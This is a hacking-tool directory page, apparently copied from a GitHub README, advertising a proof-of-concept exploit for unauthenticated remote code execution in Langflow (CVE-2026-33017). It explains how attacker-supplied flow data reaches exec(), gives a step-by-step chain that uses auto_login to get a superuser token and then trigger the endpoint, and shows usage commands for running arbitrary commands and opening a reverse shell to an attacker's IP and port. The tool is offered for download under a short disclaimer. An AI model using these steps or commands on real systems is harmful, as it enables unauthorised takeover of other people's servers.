Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33017-Langflow-RCE-PoC — The vulnerability in Langflow 1.8.1 and earlier allows a remote, unauthenticated attacker to achieve arbitrary command execution on the host. | Kitploit
Tools/GitHubGitHub/omer-efe-curkus/cve-2026-33017-langflow-rce-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubomer-efe-curkus/cve-2026-33017-langflow-rce-poc

CVE-2026-33017-Langflow-RCE-PoC

The vulnerability in Langflow 1.8.1 and earlier allows a remote, unauthenticated attacker to achieve arbitrary command execution on the host.

View Repository
15 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-33017-Langflow-RCE-PoC

The vulnerability in Langflow 1.8.1 and earlier allows a remote, unauthenticated attacker to achieve arbitrary command execution on the host.

Description

The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint permits anyone to build public flows without authentication.

By supplying the optional data parameter, an attacker can override the stored flow with their own crafted definition, embedding arbitrary Python code within node configurations. This user-controlled code is executed via exec() with no sandboxing or validation, leading to unauthenticated remote code execution.

Affected Versions

root@kitploit:~
Langflow 1.8.1 and earlier

Features

  • Creating a public flow if AUTO_LOGIN=true
  • Exploit Execution: Execute arbitrary commands.
  • Reverse Shell: Initiate a bash-based reverse shell.

Prerequisites

  • The target Langflow instance has at least one public flow (common in demos, chatbots, or shared workflows)
  • One public flow’s UUID (can be obtained from shared links/URLs)
  • No authentication is required

When AUTO_LOGIN=true (default configuration), an unauthenticated attacker can satisfy all conditions:

  • GET /api/v1/auto_login → obtain a superuser token
  • POST /api/v1/flows/ → create a public flow
  • Trigger the exploit via build_public_tmp without any authentication

Usage

root@kitploit:~
python cve-2026-33017.py <host> [options]

Options:

root@kitploit:~
-p PORT, --port PORT: SSH port (default: 7860)

-id FLOW_ID, --flow_id FLOW_ID: Public Flow ID (a new one will be created if omitted)

-c COMMAND, --command COMMAND: Custom command to execute

--shell: Launch a reverse shell

--lhost LHOST: Attacker's IP for reverse shell

--lport LPORT: Attacker's port for reverse shell (default: 4444)

-t TIMEOUT, --timeout TIMEOUT: Connection timeout in seconds (default: 5)

Examples:

Execute a command:

root@kitploit:~
python cve-2026-33017.py 127.0.0.1 -c 'touch /tmp/pwned.txt'

Initiate a reverse shell:

root@kitploit:~
python cve-2026-33017 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444

References

GitHub Advisory

NVD CVE-2026-33017

Medium

⚠️ Disclaimer

This PoC is for educational and research purposes only. Use it at your own risk. The author is not responsible for any misuse or damage caused.

Download Tool